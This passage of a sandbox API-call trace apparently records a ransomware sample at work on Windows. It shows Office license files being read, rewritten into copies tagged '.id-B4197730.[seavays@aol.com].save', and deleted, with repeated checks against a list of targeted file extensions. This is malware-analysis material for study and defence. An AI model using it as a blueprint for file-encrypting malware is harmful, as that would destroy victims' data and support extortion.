nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d50, lpOverlapped=0x0) returned 1 [0181.254] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.254] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10a, lpOverlapped=0x0) returned 1 [0181.254] SetEndOfFile (hFile=0x434) returned 1 [0181.254] CloseHandle (hObject=0x434) returned 1 [0181.255] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.255] SetEndOfFile (hFile=0x344) returned 1 [0181.260] CloseHandle (hObject=0x344) returned 1 [0181.260] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_grace-ul-oob.xrm-ms")) returned 1 [0181.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.262] lstrlenW (lpString=".doc") returned 4 [0181.262] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.262] lstrlenW (lpString=".docx") returned 5 [0181.262] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.262] lstrlenW (lpString=".pdf") returned 4 [0181.262] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.262] lstrlenW (lpString=".xls") returned 4 [0181.262] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.262] lstrlenW (lpString=".xlsx") returned 5 [0181.262] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.262] lstrlenW (lpString=".ppt") returned 4 [0181.262] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.262] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.262] lstrlenW (lpString=".zip") returned 4 [0181.263] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.263] lstrlenW (lpString=".rar") returned 4 [0181.263] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.263] lstrlenW (lpString=".bz2") returned 4 [0181.263] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.263] lstrlenW (lpString=".7z") returned 3 [0181.263] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.263] lstrlenW (lpString=".dbf") returned 4 [0181.263] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.263] lstrlenW (lpString=".1cd") returned 4 [0181.263] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.263] lstrlenW (lpString=".jpg") returned 4 [0181.263] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.264] lstrlenW (lpString=".doc") returned 4 [0181.264] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.264] lstrlenW (lpString=".docx") returned 5 [0181.264] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.264] lstrlenW (lpString=".pdf") returned 4 [0181.264] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.264] lstrlenW (lpString=".xls") returned 4 [0181.264] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.264] lstrlenW (lpString=".xlsx") returned 5 [0181.264] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.264] lstrlenW (lpString=".ppt") returned 4 [0181.264] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.264] lstrlenW (lpString=".zip") returned 4 [0181.264] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.264] lstrlenW (lpString=".rar") returned 4 [0181.264] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.264] lstrlenW (lpString=".bz2") returned 4 [0181.265] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.265] lstrlenW (lpString=".7z") returned 3 [0181.265] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.265] lstrlenW (lpString=".dbf") returned 4 [0181.265] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.265] lstrlenW (lpString=".1cd") returned 4 [0181.265] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ul-oob.xrm-ms") returned 77 [0181.265] lstrlenW (lpString=".jpg") returned 4 [0181.265] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.266] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.266] lstrlenW (lpString="AccessR_OEM_Perp-ul-phn.xrm-ms") returned 30 [0181.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0181.270] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19932) returned 1 [0181.270] CloseHandle (hObject=0x344) returned 1 [0181.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 0x220 [0181.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0181.271] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.271] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0181.273] GetLastError () returned 0x0 [0181.273] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x4ddc, lpOverlapped=0x0) returned 1 [0181.276] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x4de0, lpOverlapped=0x0) returned 1 [0181.278] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.278] WriteFile (in: hFile=0x434, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x110, lpOverlapped=0x0) returned 1 [0181.278] SetEndOfFile (hFile=0x434) returned 1 [0181.278] CloseHandle (hObject=0x434) returned 1 [0181.279] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.279] SetEndOfFile (hFile=0x344) returned 1 [0181.284] CloseHandle (hObject=0x344) returned 1 [0181.284] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ul-phn.xrm-ms")) returned 1 [0181.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.589] lstrlenW (lpString=".doc") returned 4 [0181.589] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.589] lstrlenW (lpString=".docx") returned 5 [0181.589] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.590] lstrlenW (lpString=".pdf") returned 4 [0181.590] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.590] lstrlenW (lpString=".xls") returned 4 [0181.590] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.590] lstrlenW (lpString=".xlsx") returned 5 [0181.590] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.590] lstrlenW (lpString=".ppt") returned 4 [0181.590] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.590] lstrlenW (lpString=".zip") returned 4 [0181.590] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.590] lstrlenW (lpString=".rar") returned 4 [0181.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.590] lstrlenW (lpString=".bz2") returned 4 [0181.590] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.590] lstrlenW (lpString=".7z") returned 3 [0181.590] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.590] lstrlenW (lpString=".dbf") returned 4 [0181.590] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.590] lstrlenW (lpString=".1cd") returned 4 [0181.590] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.591] lstrlenW (lpString=".jpg") returned 4 [0181.591] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.591] lstrlenW (lpString=".doc") returned 4 [0181.591] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.591] lstrlenW (lpString=".docx") returned 5 [0181.591] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.591] lstrlenW (lpString=".pdf") returned 4 [0181.591] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.591] lstrlenW (lpString=".xls") returned 4 [0181.591] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.591] lstrlenW (lpString=".xlsx") returned 5 [0181.591] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.591] lstrlenW (lpString=".ppt") returned 4 [0181.591] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.591] lstrlenW (lpString=".zip") returned 4 [0181.591] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.591] lstrlenW (lpString=".rar") returned 4 [0181.591] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.591] lstrlenW (lpString=".bz2") returned 4 [0181.592] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.592] lstrlenW (lpString=".7z") returned 3 [0181.592] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.592] lstrlenW (lpString=".dbf") returned 4 [0181.668] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.668] lstrlenW (lpString=".1cd") returned 4 [0181.668] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ul-phn.xrm-ms") returned 80 [0181.685] lstrlenW (lpString=".jpg") returned 4 [0181.685] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.689] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19924) returned 1 [0181.689] CloseHandle (hObject=0x344) returned 1 [0181.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 0x220 [0181.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0181.691] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.691] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.693] GetLastError () returned 0x0 [0181.693] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x4dd4, lpOverlapped=0x0) returned 1 [0181.695] WriteFile (in: hFile=0x388, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x4de0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x4de0, lpOverlapped=0x0) returned 1 [0181.697] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.697] WriteFile (in: hFile=0x388, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x10c, lpOverlapped=0x0) returned 1 [0181.698] SetEndOfFile (hFile=0x388) returned 1 [0181.698] CloseHandle (hObject=0x388) returned 1 [0181.698] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.698] SetEndOfFile (hFile=0x344) returned 1 [0181.702] CloseHandle (hObject=0x344) returned 1 [0181.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ul-phn.xrm-ms")) returned 1 [0181.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0181.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0181.704] lstrlenW (lpString=".doc") returned 4 [0181.704] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.705] lstrlenW (lpString=".docx") returned 5 [0181.705] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.705] lstrlenW (lpString=".pdf") returned 4 [0181.705] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.705] lstrlenW (lpString=".xls") returned 4 [0181.705] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.705] lstrlenW (lpString=".xlsx") returned 5 [0181.705] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.705] lstrlenW (lpString=".ppt") returned 4 [0181.705] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0181.705] lstrlenW (lpString=".zip") returned 4 [0181.705] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.705] lstrlenW (lpString=".rar") returned 4 [0181.705] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.705] lstrlenW (lpString=".bz2") returned 4 [0181.705] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.705] lstrlenW (lpString=".7z") returned 3 [0181.705] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0181.705] lstrlenW (lpString=".dbf") returned 4 [0181.705] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0181.705] lstrlenW (lpString=".1cd") returned 4 [0181.706] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ul-phn.xrm-ms") returned 78 [0181.706] lstrlenW (lpString=".jpg") returned 4 [0181.706] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.707] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11143) returned 1 [0181.707] CloseHandle (hObject=0x344) returned 1 [0181.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 0x220 [0181.708] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0181.709] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.709] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.711] GetLastError () returned 0x0 [0181.711] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2b87, lpOverlapped=0x0) returned 1 [0181.713] WriteFile (in: hFile=0x388, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2b90, lpOverlapped=0x0) returned 1 [0181.715] ReadFile (in: hFile=0x344, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0181.715] WriteFile (in: hFile=0x388, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x102, lpOverlapped=0x0) returned 1 [0181.715] SetEndOfFile (hFile=0x388) returned 1 [0181.715] CloseHandle (hObject=0x388) returned 1 [0181.716] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0181.716] SetEndOfFile (hFile=0x344) returned 1 [0181.916] CloseHandle (hObject=0x344) returned 1 [0181.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-pl.xrm-ms")) returned 1 [0181.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0181.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0181.918] lstrlenW (lpString=".doc") returned 4 [0181.918] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.918] lstrlenW (lpString=".docx") returned 5 [0181.918] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.918] lstrlenW (lpString=".pdf") returned 4 [0181.918] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.918] lstrlenW (lpString=".xls") returned 4 [0181.918] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.918] lstrlenW (lpString=".xlsx") returned 5 [0181.918] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.918] lstrlenW (lpString=".ppt") returned 4 [0181.918] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0181.919] lstrlenW (lpString=".zip") returned 4 [0181.919] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.919] lstrlenW (lpString=".rar") returned 4 [0181.919] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.919] lstrlenW (lpString=".bz2") returned 4 [0181.919] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.919] lstrlenW (lpString=".7z") returned 3 [0181.919] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-pl.xrm-ms") returned 73 [0181.919] lstrlenW (lpString=".dbf") returned 4 [0181.919] lstrcmpiW 